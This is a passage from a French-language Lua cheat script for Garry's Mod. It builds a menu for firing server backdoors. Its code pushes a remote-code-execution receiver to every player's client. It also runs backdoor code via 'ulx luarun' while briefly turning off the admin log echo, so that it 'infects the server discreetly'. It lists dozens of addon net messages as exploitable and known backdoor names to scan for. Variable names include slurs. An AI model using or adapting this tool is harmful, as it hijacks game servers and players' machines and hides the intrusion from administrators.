2520function BD.Fire( code )
2521
2522 local cbd = BD.CurrentBackdoor
2523
2524 if !BD.Backdoors[cbd] then
2525
2526 BD.ChatText( "La backdoor selectionné est indisponible!", Color(255,155,155) )
2527
2528 return
2529
2530 end
2531
2532 local key = BD.BackdoorTypes[cbd].Netkey
2533
2534
2535
2536 bdnet().Start( key )
2537
2538 bdnet().WriteString( code )
2539
2540 bdnet().SendToServer()
2541
2542end
2543
2544
2545
2546
2547
2548function BD.BackdoorMenu()
2549
2550
2551
2552BD.Backdoors = BD.PingBackDoors()
2553
2554
2555
2556if !BD.IsMessagePooled( "XvacDoor" ) and BD.BackdoorActive() then
2557
2558 BD.Fire( [[util.AddNetworkString( "88Triggered" )
2559
2560 function BDSendLua( p, str ) net.Start( "88Triggered" ) net.WriteString( str ) net.Send( p ) end
2561
2562 function BDSendLuaAll( str ) net.Start( "88Triggered" ) net.WriteString( str ) net.Broadcast() end
2563
2564 function BDInjectAids( p ) p:SendLua( 'net.Receive( "88Triggered", function() RunString( net.ReadString() ) end )' ) end
2565
2566 for k, v in pairs( player.GetAll() ) do BDInjectAids( v ) end
2567
2568 hook.Add( "PlayerInitialSpawn", "youonlyget88Triggeredagain", function( p ) BDInjectAids( p ) end)
2569
2570]] )
2571
2572end
2573
2574
2575
2576local BDMenu = vgui.Create("DFrame")
2577
2578BDMenu:SetSize(825,570)
2579
2580BDMenu:SetTitle("")
2581
2582BDMenu:Center()
2583
2584BDMenu:ShowCloseButton(false)
2585
2586BDMenu:MakePopup()
2587
2588
2589
2590BDMenu.Paint = function( self, w, h)
2591
2592surface.SetDrawColor( Color(0, 0, 0, 200) )
2593
2594surface.DrawRect( 0, 0, w, h )
2595
2596surface.SetDrawColor( Color(0, 0, 0, 255) )
2597
2598surface.DrawOutlinedRect( 0, 0, w, h )
2599
2600surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
2601
2602surface.SetDrawColor( Color(0, 0, 0, 200) )
2603
2604surface.DrawRect( 10, 25, w - 20, h - 35 )
2605
2606surface.DrawRect( 15, 30, w - 30, 35 )
2607
2608draw.SimpleText("Victimisation Sur Tous", "DermaDefault", 80, 160, Color(255, 255, 255), 0, 1)
2609
2610draw.SimpleText("Victimisation Sur Un Joueur", "DermaDefault", 280, 160, Color(255, 255, 255), 0, 1)
2611
2612draw.SimpleText("Destruction", "DermaDefault", 520, 160, Color(255, 255, 255), 0, 1)
2613
2614draw.SimpleText("Joueurs A Victime", "DermaDefault", 660, 140, Color(255, 255, 255), 0, 1)
2615
2616draw.SimpleText("Paramètres Commandes", "DermaDefault", 485, 520, Color(255, 255, 255), 0, 1)
2617
2618end
2619
2620HTMLGUI = vgui.Create( "HTML", BDMenu )
2621HTMLGUI:SetSize( 500,500 )
2622HTMLGUI:SetPos( 150,100 )
2623HTMLGUI:OpenURL( "https://imgur.com/F99pjEO.png")
2624
2625surface.CreateFont("close",{font = "Marlett", size = 15, weight = 0, antialias = 0})
2626local CLOSEBOUTON = vgui.Create( "DButton", BDMenu)
2627CLOSEBOUTON:SetPos( 795, 0)
2628CLOSEBOUTON:SetSize( 30, 25 )
2629CLOSEBOUTON:SetText( "X" )
2630CLOSEBOUTON:SetFont( "close" )
2631CLOSEBOUTON.Paint = function( self, w, h )
2632draw.RoundedBox( 0, 0, 0, w, h, Color(0,0,0, 0))
2633if CLOSEBOUTON:IsHovered() then
2634CLOSEBOUTON:SetTextColor( Color( 255, 255, 255, 255 ) )
2635draw.RoundedBox(0,0,0,w,h,Color(127,0,0, 0))
2636else
2637draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 0))
2638CLOSEBOUTON:SetTextColor( Color( 255, 255, 255 ) )
2639end
2640CLOSEBOUTON.DoClick = function()
2641surface.PlaySound( "UI/buttonclick.wav" )
2642BDMenu:Remove()
2643end
2644end
2645
2646
2647local it = 28
2648
2649
2650
2651local wedungoofd = vgui.Create( "DLabel", BDMenu )
2652
2653wedungoofd:SetPos( 25, 38 )
2654
2655wedungoofd:SetFont( "Trebuchet18" )
2656
2657wedungoofd:SetColor( Color( 120, 50, 50 ) )
2658
2659wedungoofd:SetText( "" )
2660
2661wedungoofd:SizeToContents()
2662
2663
2664
2665for bd, t in pairs( BD.BackdoorTypes ) do
2666
2667 local faggot = vgui.Create("DButton", BDMenu)
2668
2669 faggot:SetSize( 150, 25 )
2670
2671 faggot:SetPos( it, 35 )
2672
2673 faggot:SetText( bd )
2674
2675 faggot:SetTextColor(Color(255, 255, 255, 255))
2676
2677 faggot.Paint = function(panel, w, h)
2678
2679 if BD.Backdoors[bd] then
2680
2681 surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
2682
2683 surface.DrawOutlinedRect(0, 0, w, h)
2684
2685 surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
2686
2687 surface.DrawRect(0, 0, w, h)
2688
2689 else
2690
2691 surface.SetDrawColor(50, 50, 50 ,155)
2692
2693 surface.DrawRect(0, 0, w, h)
2694
2695 end
2696
2697 end
2698
2699 faggot.DoClick = function()
2700
2701 BD.ChatText( "La Backdoor est désormais : "..bd, Color(155,155,255) )
2702
2703 BD.CurrentBackdoor = bd
2704
2705 surface.PlaySound("buttons/button18.wav")
2706
2707 end
2708
2709 it = it + 155
2710
2711end
2712
2713
2714
2715local Plist = vgui.Create( "DPanelList", BDMenu )
2716
2717Plist:SetPos( 40, 175 )
2718
2719Plist:SetSize( 200, 300 )
2720
2721Plist:SetPadding( 10 )
2722
2723Plist:SetSpacing( 8 )
2724
2725Plist:EnableHorizontal( false )
2726
2727Plist:EnableVerticalScrollbar( true )
2728
2729Plist:SetName( "" )
2730
2731Plist.Paint = function( self, w, h )
2732
2733 surface.SetDrawColor(0, 0, 0 ,200)
2734
2735 surface.DrawOutlinedRect(0, 0, w, h)
2736 surface.DrawOutlinedRect(1, 1, w-2, h-2)
2737 surface.DrawOutlinedRect(2, 2, w-4, h-4)
2738
2739 surface.SetDrawColor(0, 0, 0 ,220)
2740
2741 surface.DrawRect(0, 0, w, h)
2742
2743end
2744
2745
2746
2747local Plist2 = vgui.Create( "DPanelList", BDMenu )
2748
2749Plist2:SetPos( 250, 175 )
2750
2751Plist2:SetSize( 200, 300 )
2752
2753Plist2:SetPadding( 5 )
2754
2755Plist2:SetSpacing( 5 )
2756
2757Plist2:EnableHorizontal( false )
2758
2759Plist2:EnableVerticalScrollbar( true )
2760
2761Plist2:SetName( "" )
2762
2763Plist2.Paint = function( self, w, h )
2764
2765 surface.SetDrawColor(0, 0, 0 ,200)
2766
2767 surface.DrawOutlinedRect(0, 0, w, h)
2768 surface.DrawOutlinedRect(1, 1, w-2, h-2)
2769 surface.DrawOutlinedRect(2, 2, w-4, h-4)
2770
2771 surface.SetDrawColor(0, 0, 0 ,220)
2772
2773 surface.DrawRect(0, 0, w, h)
2774
2775end
2776
2777
2778
2779local Plist3 = vgui.Create( "DPanelList", BDMenu )
2780
2781Plist3:SetPos( 470, 175 )
2782
2783Plist3:SetSize( 150, 300 )
2784
2785Plist3:SetPadding( 5 )
2786
2787Plist3:SetSpacing( 5 )
2788
2789Plist3:EnableHorizontal( false )
2790
2791Plist3:EnableVerticalScrollbar( true )
2792
2793Plist3:SetName( "" )
2794
2795Plist3.Paint = function( self, w, h )
2796
2797 surface.SetDrawColor(0, 0, 0 ,200)
2798
2799 surface.DrawOutlinedRect(0, 0, w, h)
2800 surface.DrawOutlinedRect(1, 1, w-2, h-2)
2801 surface.DrawOutlinedRect(2, 2, w-4, h-4)
2802
2803 surface.SetDrawColor(0, 0, 0 ,220)
2804
2805 surface.DrawRect(0, 0, w, h)
2806
2807end
2808
2809
2810
2811local Plist4 = vgui.Create( "DPanelList", BDMenu )
2812
2813Plist4:SetPos( 630, 175 )
2814
2815Plist4:SetSize( 150, 300 )
2816
2817Plist4:SetPadding( 5 )
2818
2819Plist4:SetSpacing( 5 )
2820
2821Plist4:EnableHorizontal( false )
2822
2823Plist4:EnableVerticalScrollbar( true )
2824
2825Plist4:SetName( "" )
2826
2827Plist4.Paint = function( self, w, h )
2828
2829 surface.SetDrawColor(0, 0, 0 ,200)
2830
2831 surface.DrawOutlinedRect(0, 0, w, h)
2832 surface.DrawOutlinedRect(1, 1, w-2, h-2)
2833 surface.DrawOutlinedRect(2, 2, w-4, h-4)
2834
2835 surface.SetDrawColor(0, 0, 0 ,220)
2836
2837 surface.DrawRect(0, 0, w, h)
2838
2839end
2840
2841
2842
2843 local faggot = vgui.Create("DButton", BDMenu)
2844
2845 faggot:SetSize( 150, 35 )
2846
2847 faggot:SetPos( 630, 480 )
2848
2849 faggot:SetText("Activer Backdoor!")
2850
2851 faggot:SetTextColor(Color(255, 255, 255, 255))
2852
2853 faggot.Paint = function(panel, w, h)
2854
2855 surface.SetDrawColor(255, 100, 00 ,255)
2856
2857 surface.DrawOutlinedRect(0, 0, w, h)
2858
2859 surface.SetDrawColor(50, 0, 0 ,155)
2860
2861 surface.DrawRect(0, 0, w, h)
2862
2863 end
2864
2865 faggot.DoClick = function()
2866
2867 if !BD.BDMacros[selectedbackdoor] or selectedbackdoor == "" then BD.ChatText( "Tu n'a pas selectionné de backdoor, IDIOT !", Color(255,155,155) ) return end
2868
2869 if BD.BDMacros[selectedbackdoor].Type == ( 1 or 3 ) then BD.FormatCodeGlobal() else BD.FormatCodeTargeted() end
2870
2871 surface.PlaySound("buttons/button18.wav")
2872
2873 end
2874
2875
2876
2877
2878
2879 local helpimretarded = vgui.Create("DButton", BDMenu)
2880
2881 helpimretarded:SetSize( 200, 35 )
2882
2883 helpimretarded:SetPos( 40, 480 )
2884
2885 helpimretarded:SetText("Copier Le Code De La Backdoor")
2886
2887 helpimretarded:SetTextColor(Color(255, 255, 255, 255))
2888
2889 helpimretarded.Paint = function(panel, w, h)
2890
2891 surface.SetDrawColor(255, 100, 00 ,255)
2892
2893 surface.DrawOutlinedRect(0, 0, w, h)
2894
2895 surface.SetDrawColor(50, 0, 0 ,155)
2896
2897 surface.DrawRect(0, 0, w, h)
2898
2899 end
2900
2901 helpimretarded.DoClick = function()
2902
2903 BD.ChatText( "Code copié, tu peut l'injecter via la console mtn :D", Color(155,255,155) )
2904
2905 local bdstring = BD.GetActive().Code
2906
2907 SetClipboardText( bdstring )
2908
2909 end
2910
2911
2912
2913 local helpimretarded2 = vgui.Create("DButton", BDMenu)
2914
2915 helpimretarded2:SetSize( 200, 35 )
2916
2917 helpimretarded2:SetPos( 250, 480 )
2918
2919 helpimretarded2:SetText("LuaRun La Backdoor")
2920
2921 helpimretarded2:SetTextColor(Color(255, 255, 255, 255))
2922
2923 helpimretarded2.Paint = function(panel, w, h)
2924
2925 surface.SetDrawColor(255, 100, 00 ,255)
2926
2927 surface.DrawOutlinedRect(0, 0, w, h)
2928
2929 surface.SetDrawColor(50, 0, 0 ,155)
2930
2931 surface.DrawRect(0, 0, w, h)
2932
2933 end
2934
2935 helpimretarded2.DoClick = function()
2936
2937 BD.ChatText( "Infection du serveur discrètement...", Color(155,255,155) )
2938
2939 LocalPlayer():ConCommand( [[ulx rcon ulx logecho 0]] )
2940
2941 timer.Simple( 0.5, function()
2942
2943 LocalPlayer():ConCommand( "ulx luarun "..BD.GetActive().Code )
2944
2945 end )
2946
2947 timer.Simple( 1, function() LocalPlayer():ConCommand( [[ulx rcon ulx logecho 1]] ) end )
2948
2949
2950
2951 timer.Simple( 1.5, function() if BD.IsMessagePooled( BD.GetActive().Netkey ) then BD.ChatText( "Infecté Avec Succès !", Color(155,255,155) ) else BD.ChatText( "Infection ULX Raté!", Color(255,155,155) ) end end )
2952
2953 end
2954
2955
2956
2957
2958
2959local moonman = vgui.Create( "DTextEntry", BDMenu )
2960
2961moonman:SetPos( 470, 480 )
2962
2963moonman:SetSize( 150, 33 )
2964
2965moonman:SetText( backdoorargs )
2966
2967moonman.OnChange = function( self )
2968
2969 backdoorargs = self:GetValue()
2970
2971-- surface.PlaySound("buttons/button3.wav")
2972
2973end
2974
2975
2976
2977
2978
2979 local target1 = vgui.Create("DButton", BDMenu)
2980
2981 target1:SetSize( 40, 20 )
2982
2983 target1:SetPos( 630, 150 )
2984
2985 target1:SetText("Tous")
2986
2987 target1:SetTextColor(Color(255, 255, 255, 255))
2988
2989 target1.Paint = function(panel, w, h)
2990
2991 surface.SetDrawColor(255, 100, 00 ,255)
2992
2993 surface.DrawOutlinedRect(0, 0, w, h)
2994
2995 surface.SetDrawColor(50, 0, 0 ,155)
2996
2997 surface.DrawRect(0, 0, w, h)
2998
2999 end
3000
3001 target1.DoClick = function()
3002
3003 for _, p in pairs(player.GetAll()) do
3004
3005 if not table.HasValue( selectedplayers, p ) then
3006
3007 table.insert( selectedplayers, p )
3008
3009 end
3010
3011 end
3012
3013 end
3014
3015
3016
3017 local target2 = vgui.Create("DButton", BDMenu)
3018
3019 target2:SetSize( 40, 20 )
3020
3021 target2:SetPos( 685, 150 )
3022
3023 target2:SetText("Aucun")
3024
3025 target2:SetTextColor(Color(255, 255, 255, 255))
3026
3027 target2.Paint = function(panel, w, h)
3028
3029 surface.SetDrawColor(255, 100, 00 ,255)
3030
3031 surface.DrawOutlinedRect(0, 0, w, h)
3032
3033 surface.SetDrawColor(50, 0, 0 ,155)
3034
3035 surface.DrawRect(0, 0, w, h)
3036
3037 end
3038
3039 target2.DoClick = function()
3040
3041 table.Empty( selectedplayers )
3042
3043 end
3044
3045
3046
3047 local target2 = vgui.Create("DButton", BDMenu)
3048
3049 target2:SetSize( 40, 20 )
3050
3051 target2:SetPos( 740, 150 )
3052
3053 target2:SetText("Moi")
3054
3055 target2:SetTextColor(Color(255, 255, 255, 255))
3056
3057 target2.Paint = function(panel, w, h)
3058
3059 surface.SetDrawColor(255, 100, 00 ,255)
3060
3061 surface.DrawOutlinedRect(0, 0, w, h)
3062
3063 surface.SetDrawColor(50, 0, 0 ,155)
3064
3065 surface.DrawRect(0, 0, w, h)
3066
3067 end
3068
3069 target2.DoClick = function()
3070
3071 table.Empty( selectedplayers )
3072
3073 table.insert( selectedplayers, LocalPlayer() )
3074
3075 end
3076
3077
3078
3079
3080
3081
3082
3083/*================================
3084|===== LISTES DES JOUEURS =====|
3085=================================*/
3086
3087
3088
3089for k, v in pairs( player.GetAll() ) do
3090
3091
3092
3093 local plypanel2 = vgui.Create( "DPanel" )
3094
3095 plypanel2:SetPos( 0, 0 )
3096
3097 plypanel2:SetSize( 200, 25 )
3098
3099 plypanel2.Paint = function() -- Paint function
3100
3101 draw.RoundedBoxEx(8,1,1,plypanel2:GetWide(),plypanel2:GetTall(),Color(0, 0, 0, 150), false, false, false, false)
3102
3103 if table.HasValue( selectedplayers, v ) then surface.SetDrawColor(Color(255, 255, 90, 255)) else surface.SetDrawColor(Color(150, 50, 50, 255)) end
3104
3105 surface.DrawOutlinedRect(1, 1, plypanel2:GetWide() - 1 , plypanel2:GetTall() - 1)
3106
3107 end
3108
3109
3110
3111 local plyname = vgui.Create( "DLabel", plypanel2 )
3112
3113 plyname:SetPos( 10, 5 )
3114
3115 plyname:SetFont( "Trebuchet18" )
3116
3117 local tcol = Color( 255, 255, 255 )
3118
3119 if v == LocalPlayer() then tcol = Color( 255, 155, 155 ) end
3120
3121 plyname:SetColor( tcol )
3122
3123 plyname:SetText( v:Nick() )
3124
3125 plyname:SetSize(180, 15)
3126
3127
3128
3129
3130
3131 local faggot = vgui.Create("DButton", plypanel2)
3132
3133 faggot:SetSize( plypanel2:GetWide(), plypanel2:GetTall() )
3134
3135 faggot:SetPos( 0, 0 )
3136
3137 faggot:SetText("")
3138
3139 faggot.Paint = function(panel, w, h)
3140
3141 return
3142
3143 end
3144
3145 faggot.DoClick = function()
3146
3147 if table.HasValue( selectedplayers, v ) then
3148
3149 table.RemoveByValue( selectedplayers, v )
3150
3151 else
3152
3153 table.insert( selectedplayers, v )
3154
3155 end
3156
3157 end
3158
3159
3160
3161
3162
3163 Plist4:AddItem( plypanel2 )
3164
3165
3166
3167end
3168
3169
3170
3171
3172
3173BD.GenerateBackdoorList( Plist, 1 )
3174
3175BD.GenerateBackdoorList( Plist2, 2 )
3176
3177BD.GenerateBackdoorList( Plist3, 3 )
3178
3179
3180
3181end
3182
3183concommand.Add("Xvacdoor", BD.BackdoorMenu)
3184
3185
3186
3187
3188
3189function BD.QuickFireBackdoor()
3190
3191if !BD.BDMacros[selectedbackdoor] or selectedbackdoor == "" then BD.ChatText( "Tu n'a rien selectionné, que faire !", Color(255,155,155) ) return end
3192
3193if BD.BDMacros[selectedbackdoor].Type == ( 1 or 3 ) then BD.FormatCodeGlobal() else BD.FormatCodeTargeted() end
3194
3195end
3196
3197concommand.Add("runbd", BD.QuickFireBackdoor)
3198
3199
3200
3201
3202
3203
3204
3205
3206
3207
3208/*=================================
3209|====== CONCOMMAND ON START ======|
3210=================================*/
3211RunConsoleCommand "stopsound"
3212
3213
3214
3215
3216
3217
3218
3219
3220/*==========================
3221|==== Los Famosos Local ====|
3222==========================*/
3223
3224local givemeid = LocalPlayer():SteamID()
3225local ply = LocalPlayer()
3226local asphyxnet = "";
3227local n = net
3228local nr = n.Receive
3229local s = n.ReadString
3230local NBRBackdoor = 0
3231local selectedplayers = {}
3232local selectedbackdoor = ""
3233
3234
3235
3236
3237
3238
3239/*=============================
3240|==== Check SNTE Netstring ===|
3241=============================*/
3242
3243local rdmNetNum = 30 -- having more usable exploitable addons means it's 100% darkrp gamemode lol
3244
3245// global list of exploits that circulates
3246local legit_nets = {
3247 "pplay_deleterow",
3248 "pplay_addrow",
3249 "pplay_sendtable",
3250 "WriteQuery",
3251 "VJSay",
3252 "SendMoney",
3253 "BailOut",
3254 "customprinter_get",
3255 "textstickers_entdata",
3256 "NC_GetNameChange",
3257 "ATS_WARP_REMOVE_CLIENT",
3258 "ATS_WARP_FROM_CLIENT",
3259 "ATS_WARP_VIEWOWNER",
3260 "CFRemoveGame",
3261 "CFJoinGame",
3262 "CFEndGame",
3263 "CreateCase",
3264 "rprotect_terminal_settings",
3265 "StackGhost",
3266 "RevivePlayer",
3267 "ARMORY_RetrieveWeapon",
3268 "TransferReport",
3269 "SimplicityAC_aysent",
3270 "pac_to_contraption",
3271 "SyncPrinterButtons76561198056171650",
3272 "sendtable",
3273 "steamid2",
3274 "Kun_SellDrug",
3275 "net_PSUnBoxServer",
3276 "pplay_deleterow",
3277 "pplay_addrow",
3278 "CraftSomething",
3279 "banleaver",
3280 "75_plus_win",
3281 "ATMDepositMoney",
3282 "Taxi_Add",
3283 "Kun_SellOil",
3284 "SellMinerals",
3285 "TakeBetMoney",
3286 "PoliceJoin",
3287 "CpForm_Answers",
3288 "DepositMoney",
3289 "MDE_RemoveStuff_C2S",
3290 "NET_SS_DoBuyTakeoff",
3291 "NET_EcSetTax",
3292 "RP_Accept_Fine",
3293 "RP_Fine_Player",
3294 "RXCAR_Shop_Store_C2S",
3295 "RXCAR_SellINVCar_C2S",
3296 "drugseffect_remove",
3297 "drugs_money",
3298 "CRAFTINGMOD_SHOP",
3299 "drugs_ignite",
3300 "drugseffect_hpremove",
3301 "DarkRP_Kun_ForceSpawn",
3302 "drugs_text",
3303 "NLRKick",
3304 "RecKickAFKer",
3305 "GMBG:PickupItem",
3306 "DL_Answering",
3307 "plyWarning",
3308 "NLR.ActionPlayer",
3309 "timebombDefuse",
3310 "start_wd_emp",
3311 "kart_sell",
3312 "FarmingmodSellItems",
3313 "ClickerAddToPoints",
3314 "bodyman_model_change",
3315 "TOW_PayTheFine",
3316 "FIRE_CreateFireTruck",
3317 "hitcomplete",
3318 "hhh_request",
3319 "DaHit",
3320 "TCBBuyAmmo",
3321 "DataSend",
3322 "gBan.BanBuffer",
3323 "fp_as_doorHandler",
3324 "https://i.imgur.com/Gf6hLMl.png",
3325 "Upgrade",
3326 "TowTruck_CreateTowTruck",
3327 "TOW_SubmitWarning",
3328 "duelrequestguiYes",
3329 "JoinOrg",
3330 "pac_submit",
3331 "NDES_SelectedEmblem",
3332 "join_disconnect",
3333 "Morpheus.StaffTracker",
3334 "casinokit_chipexchange",
3335 "BuyKey",
3336 "BuyCrate",
3337 "FactionInviteConsole",
3338 "FacCreate",
3339 "1942_Fuhrer_SubmitCandidacy",
3340 "pogcp_report_submitReport",
3341 "textscreens_download",
3342 "hsend",
3343 "BuilderXToggleKill",
3344 "Chatbox_PlayerChat",
3345 "reports.submit",
3346 "services_accept",
3347 "Warn_CreateWarn",
3348 "NewReport",
3349 "soez",
3350 "GiveHealthNPC",
3351 "DarkRP_SS_Gamble",
3352 "buyinghealth",
3353 "DarkRP_preferredjobmodel",
3354 "DarkRP_spawnPocket",
3355 "whk_setart",
3356 "WithdrewBMoney",
3357 "DuelMessageReturn",
3358 "ban_rdm",
3359 "BuyCar",
3360 "ats_send_toServer",
3361 "dLogsGetCommand",
3362 "disguise",
3363 "gportal_rpname_change",
3364 "AbilityUse",
3365 "ClickerAddToPoints",
3366 "race_accept",
3367 "give_me_weapon",
3368 "FinishContract",
3369 "NLR_SPAWN",
3370 "Kun_ZiptieStruggle",
3371 "JB_Votekick",
3372 "Letthisdudeout",
3373 "ckit_roul_bet",
3374 "pac.net.TouchFlexes.ClientNotify",
3375 "ply_pick_shit",
3376 "TFA_Attachment_RequestAll",
3377 "BuyFirstTovar",
3378 "BuySecondTovar",
3379 "GiveHealthNPC",
3380 "MONEY_SYSTEM_GetWeapons",
3381 "MCon_Demote_ToServer",
3382 "withdrawp",
3383 "PCAdd",
3384 "ActivatePC",
3385 "PCDelAll",
3386 "viv_hl2rp_disp_message",
3387 "ATM_DepositMoney_C2S",
3388 "BM2.Command.SellBitcoins",
3389 "BM2.Command.Eject",
3390 "tickbooksendfine",
3391 "egg",
3392 "RHC_jail_player",
3393 "PlayerUseItem",
3394 "Chess Top10",
3395 "ItemStoreUse",
3396 "EZS_PlayerTag",
3397 "simfphys_gasspill",
3398 "sphys_dupe",
3399 "sw_gokart",
3400 "wordenns",
3401 "SyncPrinterButtons16690",
3402 "AttemptSellCar",
3403 "DarkRP_spawnPocket",
3404 "uPLYWarning",
3405 "atlaschat.rqclrcfg",
3406 "dlib.getinfo.replicate",
3407 "SetPermaKnife",
3408 "EnterpriseWithdraw",
3409 "SBP_addtime",
3410 "NetData",
3411 "CW20_PRESET_LOAD",
3412 "minigun_drones_switch",
3413 "NET_AM_MakePotion",
3414 "bitcoins_request_turn_off",
3415 "bitcoins_request_turn_on",
3416 "bitcoins_request_withdraw",
3417 "PermwepsNPCSellWeapon",
3418 "ncpstoredoact",
3419 "DuelRequestClient",
3420 "BeginSpin",
3421 "tickbookpayfine",
3422 "fg_printer_money",
3423 "IGS.GetPaymentURL",
3424 "pp_info_send",
3425 "AirDrops_StartPlacement",
3426 "SlotsRemoved",
3427 "FARMINGMOD_DROPITEM",
3428 "cab_sendmessage",
3429 "cab_cd_testdrive",
3430 "blueatm",
3431 "SCP-294Sv",
3432 "dronesrewrite_controldr",
3433 "desktopPrinter_Withdraw",
3434 "RemoveTag",
3435 "IDInv_RequestBank",
3436 "UseMedkit",
3437 "WipeMask",
3438 "SwapFilter",
3439 "RemoveMask",
3440 "DeployMask",
3441 "ZED_SpawnCar",
3442 "levelup_useperk",
3443 "passmayorexam",
3444 "Selldatride",
3445 "ORG_VaultDonate",
3446 "ORG_NewOrg",
3447 "ScannerMenu",
3448 "misswd_accept",
3449 "D3A_Message",
3450 "LawsToServer",
3451 "Shop_buy",
3452 "D3A_CreateOrg",
3453 "Gb_gasstation_BuyGas",
3454 "Gb_gasstation_BuyJerrycan",
3455 "MineServer",
3456 "AcceptBailOffer",
3457 "LawyerOfferBail",
3458 "buy_bundle",
3459 "AskPickupItemInv",
3460 "donatorshop_itemtobuy",
3461 "netOrgVoteInvite_Server",
3462 "Chess ClientWager",
3463 "AcceptRequest",
3464 "deposit",
3465 "CubeRiot CaptureZone Update",
3466 "NPCShop_BuyItem",
3467 "SpawnProtection",
3468 "hoverboardpurchase",
3469 "soundArrestCommit",
3470 "LotteryMenu",
3471 "updateLaws",
3472 "TMC_NET_FirePlayer",
3473 "thiefnpc",
3474 "TMC_NET_MakePlayerWanted",
3475 "SyncRemoveAction",
3476 "HV_AmmoBuy",
3477 "NET_CR_TakeStoredMoney",
3478 "nox_addpremadepunishment",
3479 "GrabMoney",
3480 "LAWYER.GetBailOut",
3481 "LAWYER.BailFelonOut",
3482 "br_send_pm",
3483 "GET_Admin_MSGS",
3484 "OPEN_ADMIN_CHAT",
3485 "LB_AddBan",
3486 "redirectMsg",
3487 "RDMReason_Explain",
3488 "JB_SelectWarden",
3489 "JB_GiveCubics",
3490 "SendSteamID",
3491 "wyozimc_playply",
3492 "SpecDM_SendLoadout",
3493 "sv_saveweapons",
3494 "DL_StartReport",
3495 "DL_ReportPlayer",
3496 "DL_AskLogsList",
3497 "DailyLoginClaim",
3498 "GiveWeapon",
3499 "GovStation_SpawnVehicle",
3500 "inviteToOrganization",
3501 "createFaction",
3502 "sellitem",
3503 "giveArrestReason",
3504 "unarrestPerson",
3505 "JoinFirstSS",
3506 "bringNfreeze",
3507 "start_wd_hack",
3508 "DestroyTable",
3509 "nCTieUpStart",
3510 "IveBeenRDMed",
3511 "FIGHTCLUB_StartFight",
3512 "FIGHTCLUB_KickPlayer",
3513 "ReSpawn",
3514 "CP_Test_Results",
3515 "AcceptBailOffer",
3516 "IS_SubmitSID_C2S",
3517 "IS_GetReward_C2S",
3518 "ChangeOrgName",
3519 "DisbandOrganization",
3520 "CreateOrganization",
3521 "newTerritory",
3522 "InviteMember",
3523 "sendDuelInfo",
3524 "DoDealerDeliver",
3525 "PurchaseWeed",
3526 "guncraft_removeWorkbench",
3527 "wordenns",
3528 "userAcceptPrestige",
3529 "DuelMessageReturn",
3530 "Client_To_Server_OpenEditor",
3531 "GiveSCP294Cup",
3532 "GiveArmor100",
3533 "SprintSpeedset",
3534 "ArmorButton",
3535 "HealButton",
3536 "SRequest",
3537 "ClickerForceSave",
3538 "rpi_trade_end",
3539 "NET_BailPlayer",
3540 "vj_testentity_runtextsd",
3541 "requestmoneyforvk",
3542 "gPrinters.sendID",
3543 "FIRE_RemoveFireTruck",
3544 "drugs_effect",
3545 "drugs_give",
3546 "NET_DoPrinterAction",
3547 "opr_withdraw",
3548 "money_clicker_withdraw",
3549 "NGII_TakeMoney",
3550 "gPrinters.retrieveMoney",
3551 "revival_revive_accept",
3552 "chname",
3553 "NewRPNameSQL",
3554 "UpdateRPUModelSQL",
3555 "SetTableTarget",
3556 "SquadGiveWeapon",
3557 "BuyUpgradesStuff",
3558 "REPAdminChangeLVL",
3559 "SendMail",
3560 "DemotePlayer",
3561 "OpenGates",
3562 "VehicleUnderglow",
3563 "Hopping_Test",
3564 "CREATE_REPORT",
3565 "CreateEntity",
3566 "FiremanLeave",
3567 "DarkRP_Defib_ForceSpawn",
3568 "Resupply",
3569 "BTTTStartVotekick",
3570 "_nonDBVMVote",
3571 "REPPurchase",
3572 "deathrag_takeitem",
3573 "FacCreate",
3574 "InformPlayer",
3575 "lockpick_sound",
3576 "SetPlayerModel",
3577 "changeToPhysgun",
3578 "VoteBanNO",
3579 "VoteKickNO",
3580 "shopguild_buyitem",
3581 "MG2.Request.GangRankings",
3582 "RequestMAPSize",
3583 "gMining.sellMineral",
3584 "ItemStoreDrop",
3585 "optarrest",
3586 "DarkRP_TipJarUpdate",
3587 "TalkIconChat",
3588 "UpdateAdvBoneSettings",
3589 "ViralsScoreboardAdmin"
3590}
3591
3592// battle against a risk of backdoor
3593local bad_nets = {
3594 "Sbox_gm_attackofnullday_key",
3595 "c",
3596 "enablevac",
3597 "ULXQUERY2",
3598 "Im_SOCool",
3599 "MoonMan",
3600 "LickMeOut",
3601 "SessionBackdoor",
3602 "OdiumBackDoor",
3603 "ULX_QUERY2",
3604 "nocheat",
3605 "Sbox_itemstore",
3606 "Sbox_darkrp",
3607 "Sbox_Message",
3608 "_blacksmurf",
3609 "nostrip",
3610 "Remove_Exploiters",
3611 "Sandbox_ArmDupe",
3612 "rconadmin",
3613 "https://i.imgur.com/Gf6hLMl.png",
3614 "jesuslebg",
3615 "zilnix",
3616 "Þà?D)◘",
3617 "disablebackdoor",
3618 "blacksmurfBackdoor",
3619 "jeveuttonrconleul",
3620 "memeDoor",
3621 "DarkRP_AdminWeapons",
3622 "Fix_Keypads",
3623 "noclipcloakaesp_chat_text",
3624 "_CAC_ReadMemory",
3625 "Ulib_Message",
3626 "Ulogs_Infos",
3627 "ITEM",
3628 "fix",
3629 "nocheat",
3630 "Sandbox_GayParty",
3631 "DarkRP_UTF8",
3632 "OldNetReadData",
3633 "Backdoor",
3634 "cucked",
3635 "NoNerks",
3636 "kek",
3637 "ZimbaBackdoor",
3638 "something",
3639 "random",
3640 "strip0",
3641 "fellosnake",
3642 "idk",
3643 "killserver",
3644 "fuckserver",
3645 "cvaraccess",
3646 "rcon",
3647 "rconadmin",
3648 "web",
3649 "dontforget",
3650 "aze46aez67z67z64dcv4bt",
3651 "nolag",
3652 "changename",
3653 "music",
3654 "_Defqon",
3655 "xenoexistscl",
3656 "R8",
3657 "DefqonBackdoor",
3658 "fourhead",
3659 "echangeinfo",
3660 "PlayerItemPickUp",
3661 "kill",
3662 "Þ� ?D)◘",
3663 "thefrenchenculer",
3664 "elfamosabackdoormdr",
3665 "stoppk",
3666 "noprop",
3667 "reaper",
3668 "Abcdefgh",
3669 "JSQuery.Data(Post(false))",
3670 "pjHabrp9EY",
3671 "_Raze",
3672 "m9k_explosionradius",
3673 "NoOdium_ReadPing",
3674 "m9k_explosionradius",
3675 "gag",
3676 "_cac_",
3677 "_Battleye_Meme_",
3678 "ULogs_B",
3679 "arivia",
3680 "_Warns",
